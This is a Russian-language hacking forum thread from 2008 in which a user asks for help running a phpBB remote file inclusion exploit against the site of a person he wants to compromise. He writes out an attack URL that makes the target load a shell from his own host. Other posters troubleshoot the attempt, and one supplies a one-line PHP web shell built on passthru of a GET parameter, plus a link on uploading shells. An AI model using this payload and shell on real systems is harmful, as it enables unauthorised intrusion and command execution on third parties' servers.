сплоит под phpbb
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
сплоит под phpbb - 2008-11-28 15:21:16.986666
|
|
|
galadz
Сообщений: 14
Оценки: 0
Присоединился: 2008-06-14 20:28:30.013333
|
как запустить этот эксплоит http://milw0rm.com/exploits/4434 ? я уже ящик пива выпил но не х… не помогает.
делал так, залил на свой хост шел. ввел (на сайте чувака которого мне на хлопнуть) site.ru/language/lang_russian/lang_main_album.php?phpbb_root_path=[ http://moisite.ru/shell.txt]?a=
а после ?a= надо вводить никсовую команду ?
|
|
|
|
|
RE: сплоит под phpbb - 2008-11-28 15:24:07.910000
|
|
|
script88
Сообщений: 35
Оценки: 0
Присоединился: 2008-09-04 14:01:32.613333
|
quote:
как запустить этот эксплоит http://milw0rm.com/exploits/4434 ? я уже ящик пива выпил но не х… не помогает.
делал так, залил на свой хост шел. ввел (на сайте чувака которого мне на хлопнуть) site.ru/language/lang_russian/lang_main_album.php?phpbb_root_path=[ http://moisite.ru/shell.txt]?a=
а после ?a= надо вводить никсовую команду ? quote:
ORIGINAL: galadz
как запустить этот эксплоит http://milw0rm.com/exploits/4434 ? я уже ящик пива выпил но не х… не помогает.
делал так, залил на свой хост шел. ввел (на сайте чувака которого мне на хлопнуть) site.ru/language/lang_russian/lang_main_album.php?phpbb_root_path=[ http://moisite.ru/shell.txt]?a=
а после ?a= надо вводить никсовую команду ?
как ты запустиш txt файл ????? :)))))))) он на чем написан то?
|
|
|
|
|
RE: сплоит под phpbb - 2008-11-28 15:26:29.426666
|
|
|
galadz
Сообщений: 14
Оценки: 0
Присоединился: 2008-06-14 20:28:30.013333
|
не ну я его в php переменеил
|
|
|
|
|
RE: сплоит под phpbb - 2008-11-28 15:44:21.010000
|
|
|
script88
Сообщений: 35
Оценки: 0
Присоединился: 2008-09-04 14:01:32.613333
|
А он оказываеться написан на perl да….:) Поищи в гугле запуск shell или по форуму поищи были статьи
|
|
|
|
|
RE: сплоит под phpbb - 2008-11-28 15:53:32.780000
|
|
|
galadz
Сообщений: 14
Оценки: 0
Присоединился: 2008-06-14 20:28:30.013333
|
причем тут перл ? на пхп шел написан. запуск shell мне не нужно искать в гугле, проблема в другом
|
|
|
|
|
RE: сплоит под phpbb - 2008-11-28 16:26:26.700000
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
Начнем с того, ты уверен, что форум <=PhpBBPlus1.53? У тебя есть свой сайт, где залит шелл? Ты уверен, что надо рисовать квадратные скобки, как в примере?phpbb_root_path - думаешь так и надо писать?
|
|
|
|
|
RE: сплоит под phpbb - 2008-11-28 16:47:06.630000
|
|
|
galadz
Сообщений: 14
Оценки: 0
Присоединился: 2008-06-14 20:28:30.013333
|
1) да
2) да
3) не уверен, но и без скобок нифига невыходит
4) тут вообще в раздумье. root директория форума ? path путь скрипта ?
з.ы. сцылку можно на нормальный скрипт шелла
|
|
|
|
|
RE: сплоит под phpbb - 2008-11-28 16:54:57.476666
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
<?passthru($_GET[cmd]);?>
|
|
|
|
|
RE: сплоит под phpbb - 2008-11-28 17:02:58.353333
|
|
|
galadz
Сообщений: 14
Оценки: 0
Присоединился: 2008-06-14 20:28:30.013333
|
а по части - > phpbb_root_path
как правильно вводить, phpbb - это че ?
|
|
|
|
|
RE: сплоит под phpbb - 2008-11-28 17:52:28.793333
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
$phpbb_root_path = './forum/'; (например)
и вот это покури:
http://forum.antichat.ru/threadnav15597-1-10-%E7%E0%EB%E8%F2%FC+shell.html
|
|
|
|
|
|
